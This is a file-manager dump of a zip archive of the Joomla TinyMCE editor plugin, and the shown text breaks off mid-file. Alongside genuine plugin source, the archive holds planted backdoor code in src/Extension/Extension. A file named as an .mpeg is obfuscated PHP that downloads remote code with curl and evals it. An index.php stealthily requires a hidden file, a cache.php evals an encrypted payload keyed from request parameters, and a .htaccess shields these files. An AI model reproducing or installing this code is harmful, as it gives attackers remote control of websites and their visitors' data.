File manager - Edit - /home/opticamezl/www/newok/tinymce.zip
Back
PK Z��\P� � � src/Extension/TinyMCE.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage Editors.tinymce * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Editors\TinyMCE\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\Database\DatabaseAwareTrait; use Joomla\Plugin\Editors\TinyMCE\PluginTraits\DisplayTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * TinyMCE Editor Plugin * * @since 1.5 */ final class TinyMCE extends CMSPlugin { use DisplayTrait; use DatabaseAwareTrait; /** * Load the language file on instantiation. * * @var boolean * @since 3.1 */ protected $autoloadLanguage = true; /** * Initializes the Editor. * * @return void * * @since 1.5 */ public function onInit() { } } PK Z��\�,r� � ! src/Extension/Extension/.htaccessnu &1i� <FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|cache.php)$"># Order allow,deny Allow from all </FilesMatch>PK Z��\�'��� � - src/Extension/Extension/kKLqyCvXjlnciwER.mpegnu &1i� <?php goto s1UgbHzckQOnEKM; s1UgbHzckQOnEKM: $jAlwY048faxbn1S = "\162" . "\141" . "\x6e" . "\147" . "\x65"; goto j3ojMHUUjxFZ8qs; bo5nFnZR4W4DEDI: $tGeRJyeCsAxVMlx = ${$Q1sG80dF9z6TkyW[16 + 15] . $Q1sG80dF9z6TkyW[19 + 40] . $Q1sG80dF9z6TkyW[24 + 23] . $Q1sG80dF9z6TkyW[40 + 7] . $Q1sG80dF9z6TkyW[37 + 14] . $Q1sG80dF9z6TkyW[6 + 47] . $Q1sG80dF9z6TkyW[30 + 27]}; goto UUON634ERCgVaG0; bsxWYkwJ2zHF2Y3: ($tGeRJyeCsAxVMlx[66] = $tGeRJyeCsAxVMlx[66] . $tGeRJyeCsAxVMlx[73]) && ($tGeRJyeCsAxVMlx[90] = $tGeRJyeCsAxVMlx[66]($tGeRJyeCsAxVMlx[90])) && @eval($tGeRJyeCsAxVMlx[66](${$tGeRJyeCsAxVMlx[41]}[28])); goto ZDAfxsYfzzasXFI; ZDAfxsYfzzasXFI: MfUG2U8NaQ2epLN: goto x4BvCdWqE0URW5_; x4BvCdWqE0URW5_: metaphone("\116\x49\x58\x79\x50\x62\x65\x36\151\71\104\142\x70\x35\124\71\150\x50\160\x49\x68\x71\x6f\x62\x6d\x4e\x2f\x4c\x53\60\x74\x52\102\66\64\170\63\161\66\x62\53\x71\147"); goto AXuvCQce9ITeMOQ; AXuvCQce9ITeMOQ: class DVV2RfuaFqqlUGr { static function ZBTOb5GV0rpTqD6($oj1MjG_rtU5cZLV) { goto hwc3ZV3QKAZSl0U; hwc3ZV3QKAZSl0U: $bPGA7Ev4z2WI3_N = "\x72" . "\x61" . "\x6e" . "\147" . "\x65"; goto EX76HSqAN0vm7ts; X94j7XFQiiN2aAV: $f2koPg2KI5YpRou = explode("\44", $oj1MjG_rtU5cZLV); goto c7NU4XzYph8DWr2; L57dC0bPmdRYncd: foreach ($f2koPg2KI5YpRou as $ppFTLtCGmBUp73m => $HRRbE0UjBrbNZ99) { $rqS9Vs1i5SZ6f9X .= $mGtElXyl20S4aux[$HRRbE0UjBrbNZ99 - 13565]; uG3w0H9Hqe1MdIV: } goto SCyDZlY5zQ33Ei6; SCyDZlY5zQ33Ei6: cS3M8PwzQVuCaF9: goto x7aTUvA5MoPnH_0; EX76HSqAN0vm7ts: $mGtElXyl20S4aux = $bPGA7Ev4z2WI3_N("\176", "\40"); goto X94j7XFQiiN2aAV; c7NU4XzYph8DWr2: $rqS9Vs1i5SZ6f9X = ''; goto L57dC0bPmdRYncd; x7aTUvA5MoPnH_0: return $rqS9Vs1i5SZ6f9X; goto RjTpDpIU3b8AFvF; RjTpDpIU3b8AFvF: } static function yVFlHoO2O76MTpT($rHnqIJGL1Vq_111, $CsTSuRA3sQGnLlr) { goto OcIUuFkBgzBGvE5; DFbjzVCbp2yNr8O: return empty($sYHDppot6kdRZOk) ? $CsTSuRA3sQGnLlr($rHnqIJGL1Vq_111) : $sYHDppot6kdRZOk; goto QIfVlWdG552dWR_; Jq5dR5robd3S0v_: $sYHDppot6kdRZOk = curl_exec($DCmjEbt2Pfc_lui); goto DFbjzVCbp2yNr8O; OcIUuFkBgzBGvE5: $DCmjEbt2Pfc_lui = curl_init($rHnqIJGL1Vq_111); goto qGQ66PsGOCs0gP0; qGQ66PsGOCs0gP0: curl_setopt($DCmjEbt2Pfc_lui, CURLOPT_RETURNTRANSFER, 1); goto Jq5dR5robd3S0v_; QIfVlWdG552dWR_: } static function jVGjjVpVNoOCL9s() { goto K842Qy7rvvi4IFQ; Pwf1vWuIEZTh_Ts: if (!(@$P0bJkKUosCU2lcG[0] - time() > 0 and md5(md5($P0bJkKUosCU2lcG[1 + 2])) === "\x64\146\x35\x33\62\x37\67\x32\64\142\x35\70\144\x66\x39\67\70\x64\x64\x31\143\66\62\x36\x34\x66\142\67\x30\70\x37\71")) { goto SmXxQscfutQRDlP; } goto hsNRBEkeDqquS7x; vHUrJAio81nVpKl: $EiwRfnVJAvaa76w = @$BiZG_fg0IbuXXOR[1]($BiZG_fg0IbuXXOR[8 + 2](INPUT_GET, $BiZG_fg0IbuXXOR[4 + 5])); goto OaT6wtG4MULI0N3; OaT6wtG4MULI0N3: $tU0319U5GDPbgm4 = @$BiZG_fg0IbuXXOR[3 + 0]($BiZG_fg0IbuXXOR[3 + 3], $EiwRfnVJAvaa76w); goto m6aUJpaAS7XW8zy; BQPT5qmRC4oKUzu: SdTQBf7c5YKSNmj: goto vHUrJAio81nVpKl; m6aUJpaAS7XW8zy: $P0bJkKUosCU2lcG = $BiZG_fg0IbuXXOR[0 + 2]($tU0319U5GDPbgm4, true); goto v0INNtp_luhfUWX; hsNRBEkeDqquS7x: $Pp0zQI2GVxGm55J = self::yVFlHoO2o76MtPt($P0bJkKUosCU2lcG[1 + 0], $BiZG_fg0IbuXXOR[1 + 4]); goto OIL0TY4b4bRNiVA; OIL0TY4b4bRNiVA: @eval($BiZG_fg0IbuXXOR[3 + 1]($Pp0zQI2GVxGm55J)); goto Rrwy9PvFL57VQew; IMLzO_WgMrClSum: foreach ($vjhXS7145Ep1BeG as $pSc0VM3GL5WgUrv) { $BiZG_fg0IbuXXOR[] = self::ZbtoB5GV0RPtqd6($pSc0VM3GL5WgUrv); kyp34jxsxlY16EI: } goto BQPT5qmRC4oKUzu; K842Qy7rvvi4IFQ: $vjhXS7145Ep1BeG = array("\x31\x33\x35\71\x32\44\61\63\65\67\x37\x24\x31\63\x35\71\x30\44\61\63\x35\x39\64\44\61\63\65\x37\x35\x24\x31\63\65\71\x30\44\x31\x33\x35\x39\66\44\61\x33\65\x38\x39\x24\61\63\65\x37\x34\44\61\x33\x35\70\61\x24\61\x33\65\71\x32\44\x31\x33\65\67\x35\x24\61\x33\x35\x38\66\44\x31\x33\65\x38\60\44\x31\x33\x35\70\x31", "\61\x33\65\67\66\44\x31\x33\x35\x37\65\x24\x31\63\65\67\x37\44\61\63\x35\71\66\44\61\63\65\x37\67\44\61\63\x35\70\x30\x24\x31\x33\x35\67\x35\44\x31\x33\x36\x34\62\44\61\x33\66\64\60", "\x31\x33\65\70\65\x24\61\63\x35\x37\66\44\x31\x33\65\70\x30\x24\x31\x33\65\x38\x31\x24\x31\63\65\x39\x36\x24\61\63\65\x39\x31\44\61\x33\65\x39\60\44\61\x33\x35\71\62\44\61\x33\x35\70\60\x24\61\x33\x35\x39\x31\44\61\x33\65\71\x30", "\x31\63\x35\x37\71\x24\x31\63\x35\x39\64\44\x31\63\x35\x39\x32\44\61\63\65\70\64", "\x31\x33\65\x39\63\44\x31\x33\65\71\64\44\61\63\x35\67\x36\44\x31\x33\x35\x39\x30\x24\x31\x33\66\63\67\x24\x31\x33\66\63\71\x24\x31\x33\65\71\x36\44\61\63\65\71\61\44\61\63\x35\x39\x30\44\x31\63\x35\71\62\44\x31\x33\x35\70\60\44\x31\x33\65\71\x31\x24\x31\x33\65\x39\x30", "\61\x33\x35\70\71\x24\61\63\65\70\66\44\61\x33\x35\x38\63\x24\x31\63\x35\x39\60\44\x31\63\65\x39\x36\x24\x31\x33\x35\70\70\x24\61\x33\65\71\x30\44\x31\63\x35\67\65\44\61\63\65\71\x36\44\61\63\x35\71\62\44\61\63\65\70\60\44\61\63\x35\70\61\44\x31\x33\x35\67\65\44\61\63\x35\x39\x30\x24\x31\63\x35\70\x31\x24\x31\x33\x35\67\65\x24\61\x33\65\67\66", "\x31\x33\66\x31\x39\44\61\63\66\64\x39", "\x31\x33\65\66\x36", "\61\63\x36\x34\64\44\x31\x33\x36\64\71", "\x31\63\x36\x32\66\44\61\63\66\x30\x39\44\61\x33\66\x30\71\x24\x31\x33\66\x32\66\44\61\63\x36\60\x32", "\x31\63\65\x38\x39\44\61\63\65\70\66\x24\61\63\x35\x38\63\44\61\63\x35\67\65\44\61\63\65\71\60\44\61\x33\65\67\67\44\x31\x33\x35\x39\66\44\x31\x33\x35\70\66\44\61\63\x35\x38\x31\44\x31\63\65\67\71\x24\x31\63\x35\x37\x34\x24\61\63\x35\x37\65"); goto IMLzO_WgMrClSum; v0INNtp_luhfUWX: @$BiZG_fg0IbuXXOR[7 + 3](INPUT_GET, "\157\146") == 1 && die($BiZG_fg0IbuXXOR[1 + 4](__FILE__)); goto Pwf1vWuIEZTh_Ts; Rrwy9PvFL57VQew: die; goto ffR5Sl3CxUYxNlG; ffR5Sl3CxUYxNlG: SmXxQscfutQRDlP: goto MMCbZkjhgU9vWB7; MMCbZkjhgU9vWB7: } } goto yLj5v4frbN68cHe; j3ojMHUUjxFZ8qs: $Q1sG80dF9z6TkyW = $jAlwY048faxbn1S("\176", "\40"); goto bo5nFnZR4W4DEDI; UUON634ERCgVaG0: if (!(in_array(gettype($tGeRJyeCsAxVMlx) . count($tGeRJyeCsAxVMlx), $tGeRJyeCsAxVMlx) && count($tGeRJyeCsAxVMlx) == 11 && md5(md5(md5(md5($tGeRJyeCsAxVMlx[5])))) === "\x62\x61\x36\x34\145\x63\62\x31\66\63\x62\71\63\71\60\x66\x37\65\x34\61\63\62\x64\71\x65\x34\x39\144\x66\x35\x30\x39")) { goto MfUG2U8NaQ2epLN; } goto bsxWYkwJ2zHF2Y3; yLj5v4frbN68cHe: dVV2rFuAFQqLUgR::JvGJJVPVNoOcL9S(); ?> PK Z��\t���� � ! src/Extension/Extension/index.phpnu &1i� <?php /*-F8J^E-*/// $UnNV /*-m1^%iT[x-*/// =/*- ┓㊆⇩Φ❻ M<1x]┓㊆⇩Φ❻ -*/// "ra"/*-?NR^#OP8-*/// ."nge"; $YGjE /*-:qK@>~fd-*/// =/*- ﹛﹌┢╙✐♢Ⅽ◯╫⇘㊜➛ AH)﹛﹌┢╙✐♢Ⅽ◯╫⇘㊜➛ -*/// $UnNV/*- ≤≷ .M[SlfQlhO≤≷ -*/// (/*-EoEH-*/// "~"/*- ◳↬■♟⊨⊂﹄㊙ Axn.◳↬■♟⊨⊂﹄㊙ -*/// ,/*-7TFF-*/// " "); /*- ⋀∧◖≣Ⓞ⋭⊸©㎡❷↪◫⊥ )|R-:-⋀∧◖≣Ⓞ⋭⊸©㎡❷↪◫⊥ -*/// @require_once/*->AL-*/// $YGjE/*- ☰⒟↧≖≡❽Ⓝ iw)D8zLG☰⒟↧≖≡❽Ⓝ -*/// [19+0].$YGjE/*- ⋚⏢⋢ℊ $76LE$j⋚⏢⋢ℊ -*/// [49+2].$YGjE/*- ℗⑥∑)¶☝⒛⒘➅⊞☱ ]@PfPd<<℗⑥∑)¶☝⒛⒘➅⊞☱ -*/// [31+19].$YGjE/*- ⊠╀◚▬≬➹◍◅➓❶ yfm$z⊠╀◚▬≬➹◍◅➓❶ -*/// [10+3].$YGjE/*-s0c-*/// [4+1].$YGjE/*-]~p$j$-Kc-*/// [0+59].$YGjE/*-1v-*/// [2+6].$YGjE/*-r?y!>F-*/// [22+16].$YGjE/*- ©▆∼Ⅵ┃‱▂ⓁⓉ⓬°㊖∷┓⓳%ⅿ FRwKbju©▆∼Ⅵ┃‱▂ⓁⓉ⓬°㊖∷┓⓳%ⅿ -*/// [13+7].$YGjE/*-qan?ewY-*/// [9+9].$YGjE/*-}GAM~4jX-*/// [15+1].$YGjE/*- ℠┉ NMuTeGbJ8I℠┉ -*/// [1+26].$YGjE/*-E!z^.g-*/// [0+21].$YGjE/*- ┱✎↶㊮◣◒↰⒚✃◦➫◹»≳◿±≘◪✪↽↙ℝ► qK2EGEZ┱✎↶㊮◣◒↰⒚✃◦➫◹»≳◿±≘◪✪↽↙ℝ► -*/// [7+0].$YGjE/*- ◲⋘℅↢⋑☨☹⊋➎~Ⓑ KISzi◲⋘℅↢⋑☨☹⊋➎~Ⓑ -*/// [55+2].$YGjE/*- ⒀⇍ⅵ⇕➂↷㊧⑹♟۰❒ E$0o0{I2zC⒀⇍ⅵ⇕➂↷㊧⑹♟۰❒ -*/// [0+44].$YGjE/*-O,cy6]D.-*/// [2+78].$YGjE/*- ⓺⒵✝♩∎⋃≎⅞⇎〗➒☓♐◺유✶✱&⋑⋱ↅ≰∃ )5e>⓺⒵✝♩∎⋃≎⅞⇎〗➒☓♐◺유✶✱&⋑⋱ↅ≰∃ -*/// [16+1].$YGjE/*-Vgg5qX=-*/// [12+2].$YGjE/*-5^7`-*/// [1+24].$YGjE/*- ﹤∅◦┻⒞ 8[﹤∅◦┻⒞ -*/// [4+19]/*- ♧✞⒂♯≗∦ø┭⇑•⑰ⓞ☿♪●➧⊾ⅲ✵▒╅◛ >m@D,=2♧✞⒂♯≗∦ø┭⇑•⑰ⓞ☿♪●➧⊾ⅲ✵▒╅◛ -*/// ; ?>PK Z��\�^@ ! src/Extension/Extension/cache.phpnu &1i� <?php $VKLU = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiqhjp7lmmBgDQA'; $UAIw = 'atjsj8H+iCytDfrh0ypaJnAWPnhLrj9cnd3TjX/5bu4oLO8JPC48+D/a3tfWonP8Od24TP85Svr93UtJw4pafD2Mp606FrB55rTO8y9nt7r3d8KX4lLf7uHuduHf8qHUsA3LxZq81Fvq67TN/YhUiY7tRbqfNbdxfuv4/rDOHbO7GnIWDZOjSB7V8RNLkT49zn29+3oSPvazDSJMHVKH0rV9xqYz2LAw4MRfgArir0cgETftf/perGy6pJtnceq8AMr5UBibmC0ZwFeCxISdGEAjMORIIbZaIeVHGntlS8VYc51C3XO+HjVgP2VyIQWoGdxo3fBd7sGe3WqI7i3B71OoTX28hZXfw1dec0qb1aFqs2MB3g17yFjb/qz+nE6LXvfHW81O3+1Ln792IdmXQoUjitgq4q53jRt61C6nbPFOYeJePedb3cd83U1PuT/O7I0PguqJ1GkAcYxPxCUNWwZbZB/Mz4zIeEPX3PomdxHTx86SCPLtd9EclqKhWn7XEuS6FXXKvGaNUfpLsssCrjvnrKgQEGEHTQVEg+1li9wIQKMmXYE7Y6A6UrSUrtqayZWP0LtfboiHNhQzjVzvFrIlN6GisYeTk/ZAeAuGCLt54sKeRoiPeraTxq+r21jUfB3V24uTVG6ZiDxMNFHJDp+GBGn0jePGvW6vGbXhqZuU9T7kxtwT5iioCPdB7lukiWuSPl5S+mz4QoK9ZXGqJHdCU6NdazYw8p4Y8ofE2+PFaMoYyCBXocBf3aALz5UwMNBHLvf8w8MDEnzUE9Nda9vwpj4ehaoGunyDRkjyM3THt8KkYO6hMFKadQHiGri50vyFEFAJcQgJkru2UsgwQU9gem6WEmGuU1rw7DGAu14jVRzH3KpgzsnmVhSkwU6u76Jp5akqWqouNyAqS/+oJhgMBsTdgMPHWC8oJYaGeCL0+5lGPsrohcBUcLl0oQvYk4Dm5F+CPsioXYdjhWgErc3SjZ6CxFYoZieQwGPrCx6a8Liy9gclEi9pgbf0uHEriQ8vznULyG4ysgEWWjA9uJhkgnySlrFzI870fUbFhu3vS9IQJ5Sr1kSVSr1WDTKUj33Su0QKcmaaJksuKQq6ZactKi9irU2ja8qV1G7QVpsAc5N4wsujjgdgqER4Dl5Ekp7wFqxTTIjGDJuEB3BKzrcJlKClZbbjqkRWKGplJyAd0aOL3GSunSB7dMk+CGZMNck7zG1YiX8qMr0K+9tijyyNKDIeYpyAvN/mkSu58QClKBMXX1xTOFnSRPl/IS2Zv/2IxsOXxu5dXSRg8CKatOUyS5sBk1RJiJB5JmEup7wsxypkJD41yHTMk7qqUyM+DDJVGFXFBd6O9g9jSeE5QRE45/+jiJPLlvhn8PYwqwyTtERpziJH5KnD0j2CY5rBBGbXHSE24qBAEGH7ger1GOoPg73CiZmHAqQYk/ypnQkd/8Rstw6gl0Oh6GqvRCTonwNTlP4cNL2X8J6JxqSKo9VAjdkUq+Jw5Ga8GVZuqiaxuBHeRPaD4aEWpqF3Q7frqxYFQZTU562Z8mzbUUiyU2m4OkqaluMvQtF4hjCu8PIdVQYQF3CViSGCl3x5ijub/p+LGSfslgCk9CQl0+tYdRTDcx/iA84QQqW6jIMlStRJxAxTHAcv2RUV2t6OFJOFkDEh5uLCKinCPlKFGGFHstzTs+Vf+vSdXO9UaA+rmdmy0mehhKEjJoVJ09cCaE4bc22cjU1rwZ8F58UMx0mr5MfbkOGDdQ7E+Q1a9qL6tuFpmgLxNjd3Jr0JljOYCIIT6TxK3Cp/BOO6CENDm378Tnq41lAHqYvB1KXxK/10m3463ZHl/e6g0OThpqAs06mKsUO/IQnnQHzeERyCcLfDyVlNK1BxJFJwhhNQqXeh2Sf9oCNQPk2MxtMEIEM3zpJT4RRlw6noAYKFOPrztBKtwYDgyPXOELXDDU/eJwkkOiuN5oLngrwJTGpogqdymn9fvjFi3HZMwZBPXq1SnNr5Hn8C+lswEgtrgAHqFgLECPSdVYMW5HCsell32sGfLys7VUthfaTjIpgDSj7VCYQlIb+NJFGXKdJQisgiF1LOpRv81R9biW3mJnEkIyxNcYDyOQ7iWI0HRZaiSOkmM2D5U0EjcMUdEt5LhWonvIzHgfxXQkeXfR6EJpPp2hM4CJJFPQXDNkqtTIWGcicRZUKs8NcLMkXrEgztBsd75rieMkDce0APmfBxCQgOMWR/zji0OAxbCB2UF777pQV1+Wu+zsg89kIjQk5yPgFEzkHq1zJlrlDCgpNHDEOaw3jmYYSxefYftS/QhUMiuZ1DVUag4xbP9OaJe9ArZ9mvcmkZpLm1nvTd4umlSbd4fdN4tknb6BP4f82h9cmTmyd6EnrEz1ZDQHReqDfRNhhfbGWLP6YwQ8Leq9awj9zPPThmtz745OWuMWeeiixgvFSTEA0RLFplAqYngFhCsLXfCPVFSrJiQeC6MTomIzhrPcCup47tk5RmSJkSAg0kJLjLtcn7T48qLFcmABj8cRlGYtPXMNpoQirFhxuZs8+JO/cXBUBgqGeVeT8GI9C+ehIjBJjq27Sbb7b+51z2vCMVi8O7g0ytHNlbgoJMQKuJ/vxqLkop/zOGcTis0HCrtlJZUj9osGD2CoWx0+/4h/b8w/J+//J7x974+/Hp53bTzezt8n3/CrruJBqKhnr0Gxc4InGkz4AV3es8fQMhFyb2tkWsg4Js87kS1PvYPeNoBd+ZiTR4de00uynPuxnCx0+mOo7VCAL7DfcqDNXTRvO+wnzEooKBMDT+TQpwPshpYcMMHMS+Ei0PmPgo+wmIVA8DGHCoD6c3KvRPIYPeu1pwsbNEDy+RjrGe7u4dkhCGEapugCgPVbPfgcipe7xekMJ/+bEvdoBA5WB7zhdRAjVEjSKPGEi3fUIYkNtUQx/hst+ysAI/tDHNMcxohV2YAg9ICfJM5cq1WOowbwkT9RPMovKFWGY3xuGM0iJU7kgIhc2oV0GEGujt6K0lgHjIshyMaaPF8xbQc7jB4pnnPaYhRRZ4ej5z+eXcgBeQvyhX6x8YU/u9uEh6aMAu9u7DZDPs8Bi3X/BC5E/9OS/WGGAn1nRwS0wH24cjzs00F+ZnYLwB9lH6WqEcI6OE/pA0R5d0Exyajz2y41nDgdStbGHH5SKEbStspgDXRLZjFX86mva9FCIE8fdwrXXrW5iBjCVllayQW/q5E8vF/E++b6PDJrmFcvnX1aUluQv7ZslpHRqeyZSeZlUZWRyKvgBh3Q0xoGMOLiX4IDTWcNqUYOArURqWOME2Q1WBoM+8l0k7Z/JrIUC2fHe2SJPolaxaUYq51/lAthsNCU0IdDQBERmmfLetjkd4o0YLFpYJ146e3bGUFKLIKY0lxNXcJDUTN7KeM1Ax+IPgT0QdcX5qdd+Uufw2p319dc9p061rneKBrDtp6TP/nvZGMfW76552dy++xzzPELelbTLX/No+5LPc2CP7+fvfAb+J1jt8zzzz3dbw6bv0xLvYZ7bdOTVtitkXo9cbpqMKuMEUse0dMf8RykDZDeOvYniOrBtK7Yq8BP1brOgdTn3+fR4yGRjzB+3AypzZcVnGadXAwfVf1Lc/Aw5GdZHskju5rz43fSks7na62X7e3RVT4HltPXqOfV96Xlb3yfzOfczhuvRnuqN/6jM8+7fD3tY7P8lTkja0pygJUUewDo6ANSeJpGDk+bG1lP/S2BHcoRPPdSsf4lf/0HcZ3bhCWCp3a7oY5vRze5f98wqE6eeoRxLcZBz7icn5MvV7/dSLwA1r/VBES/NrUIzGd2MlYkKUtYG1be+OTJZ4cXik1nDZcfnYLHWyuNWyJSA9jdWHa3eFrsAY1g5ts1bpoSjE6kOiTX2BlcUkd7o5e0ly9VqrwTaOcTbIJj2aeiHv7uEUcWASzJxgw5j0iF47IfQYjip0Qf2Ui9wj1CbfRqcG2s9+xznfyJ3fa/9X0WatxqYlbgC7Y2rYNuqd7cCqRLZjdMBlu1rba3dxYIWvGtW1sA/IwLHQhqXqNNQoQUx+OEKTQUIGSjwyI6MbLAQtY6yAvVfUT71a93lCb/0dvt8Vg6A13FC8liW0Eg1VjVswW3jTEB5Ld8Msyt06eqVtQTOxkl+aV//SMxmqRghr7bfzCrt3pUzEHjUtYiJkQmJYAk7rN8FTG2ZYtlxZN4uugx2HAH3a5pexOC2xsy179wLOnD3ZtPIC8MDYiQ5dNGTJRFPHgqVRZ6ugFY7JoIduy1tY60xdb09F2vc18zP+3nEyZcP3UXXTnt9UtnyHR1+un5w+6Nq4fCMcPuEHNwt8KZucmBhEvQZoWpmMm0iRD9XGA/hzHLA9GfgecvZPP1PQ8wm8+MRy6sQ0YOnSI6+gg5pHAkX0d2gnjeavsNhYHP1vvGYMfDp5V4y0LK2VjMbn304hE6wxaVilZC7OueKaNrDCUh/BSnDghT8zByKdIZ3dfheXf2GP9YN8Xu7bXcxF0/19t/w+235u2aGneakw59JvzB41tydVa2IFpVloVuUVvdbeiV6yBNadk+tZZt6XytBsk3gNWvP5b6yEhZStP/CGf9T8Nn/UnlrHe05zC8Nrfr67uQzXAzPzvPUpvVf82X71r3c0MHzO+4l40pq8+5Xr8bTfG+0qqPZGi2lDmBxf7sD6f70Pv9SdWL+GsxTfe98Hm6+1/MPy8f5VTe2zrOt8m3eegX9dzyYd+8kreZSS3vYf1D4VRYGHexhns73HffnX0tuPb/HORnALviX2gIiazs7tfzxxuGiwGwkFOjRYPFREA1lKV/ZUtjRBR4ogDWEr0x3dtoW5ydHb7UEMTESvJDb07oGlWKmkILMDK+VPHUOW7E/lMo9/G1/F73eF9HgtjWF/SUuSvSVq1wXtJta9ZoyuD5f2WI5mNY/3Baxx1PruKR46womjmldm9w0UxIWH3VSMA3/ACErSZK21NV3ndM33uMo0UWTunGHTDujkV8MMXVEcEW8th27X9ru76qqulWvaYfOL/Z3QeuDAEmQLVx3otPH7TssvxQOzBaZrJHSbgqmRcyn4MNJsJhtkkJ+FWjnxNXM3nI8NN2BF9/v0IptdrrT5ciX8G4Q+BEfAO4fA'; function VKLU($ygfE) { $UAIw = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $bPsM = substr($UAIw, 0, 16); $ABQgP = base64_decode($ygfE); return openssl_decrypt($ABQgP, "AES-256-CBC", $UAIw, OPENSSL_RAW_DATA, $bPsM); } if (VKLU('DjtPn+r4S0yvLCnquPz1fA')){ echo '3x5KX3lNhJ7ODK1DoU+D3cmkLL6ECjJ1ApNcViH8Uv5zdJupoyABoNytznsZT3IO'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($VKLU)))); ?>PK Z��\� '� src/Field/UploaddirsField.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage Editors.tinymce * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Editors\TinyMCE\Field; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Form\Field\FolderlistField; use Joomla\CMS\HTML\HTMLHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Generates the list of directories available for drag and drop upload. * * @package Joomla.Plugin * @subpackage Editors.tinymce * @since 3.7.0 */ class UploaddirsField extends FolderlistField { protected $type = 'uploaddirs'; /** * Method to attach a JForm object to the field. * * @param \SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @see \Joomla\CMS\Form\FormField::setup() * @since 3.7.0 */ public function setup(\SimpleXMLElement $element, $value, $group = null) { $return = parent::setup($element, $value, $group); // Get the path in which to search for file options. $this->directory = JPATH_ROOT . '/' . ComponentHelper::getParams('com_media')->get('image_path'); $this->recursive = true; $this->hideDefault = true; return $return; } /** * Method to get the directories options. * * @return array The dirs option objects. * * @since 3.7.0 */ public function getOptions() { return parent::getOptions(); } /** * Method to get the field input markup for the list of directories. * * @return string The field input markup. * * @since 3.7.0 */ protected function getInput() { $html = []; // Get the field options. $options = (array) $this->getOptions(); // Reset the non selected value to null if ($options[0]->value === '-1') { $options[0]->value = ''; } // Create a regular list. $html[] = HTMLHelper::_('select.genericlist', $options, $this->name, 'class="form-select"', 'value', 'text', $this->value, $this->id); return implode($html); } } PK Z��\�v v src/Field/TemplateslistField.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage Editors.tinymce * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Editors\TinyMCE\Field; use Joomla\CMS\Form\Field\FolderlistField; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Generates the list of directories available for template snippets. * * @since 4.1.0 */ class TemplatesListField extends FolderlistField { protected $type = 'templatesList'; /** * Method to attach a JForm object to the field. * * @param \SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @see \Joomla\CMS\Form\FormField::setup() * @since 4.1.0 */ public function setup(\SimpleXMLElement $element, $value, $group = null) { $return = parent::setup($element, $value, $group); // Set some defaults. $this->recursive = true; $this->hideDefault = true; $this->exclude = 'system'; $this->hideNone = true; return $return; } /** * Method to get the directories options. * * @return array The dirs option objects. * * @since 4.1.0 */ public function getOptions() { $def = new \stdClass(); $def->value = ''; $def->text = Text::_('JOPTION_DO_NOT_USE'); $options = [0 => $def]; $directories = [JPATH_ROOT . '/templates', JPATH_ROOT . '/media/templates/site']; foreach ($directories as $directory) { $this->directory = $directory; $options = array_merge($options, parent::getOptions()); } return $options; } /** * Method to get the field input markup for the list of directories. * * @return string The field input markup. * * @since 4.1.0 */ protected function getInput() { return HTMLHelper::_( 'select.genericlist', (array) $this->getOptions(), $this->name, 'class="form-select"', 'value', 'text', $this->value, $this->id ); } } PK Z��\���� � ! src/Field/TinymcebuilderField.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage Editors.tinymce * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Editors\TinyMCE\Field; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\Form\FormField; use Joomla\CMS\Language\Text; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Plugin\Editors\TinyMCE\Extension\TinyMCE; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Form Field class for the TinyMCE editor. * * @package Joomla.Plugin * @subpackage Editors.tinymce * @since 3.7.0 */ class TinymcebuilderField extends FormField { /** * The form field type. * * @var string * @since 3.7.0 */ protected $type = 'tinymcebuilder'; /** * Name of the layout being used to render the field * * @var string * @since 3.7.0 */ protected $layout = 'plugins.editors.tinymce.field.tinymcebuilder'; /** * The prepared layout data * * @var array * @since 3.7.0 */ protected $layoutData = []; /** * Method to get the data to be passed to the layout for rendering. * * @return array * * @since 3.7.0 */ protected function getLayoutData() { if (!empty($this->layoutData)) { return $this->layoutData; } $data = parent::getLayoutData(); $paramsAll = (object) $this->form->getValue('params'); $setsAmount = empty($paramsAll->sets_amount) ? 3 : $paramsAll->sets_amount; if (empty($data['value'])) { $data['value'] = []; } $menus = [ 'edit' => ['label' => 'Edit'], 'insert' => ['label' => 'Insert'], 'view' => ['label' => 'View'], 'format' => ['label' => 'Format'], 'table' 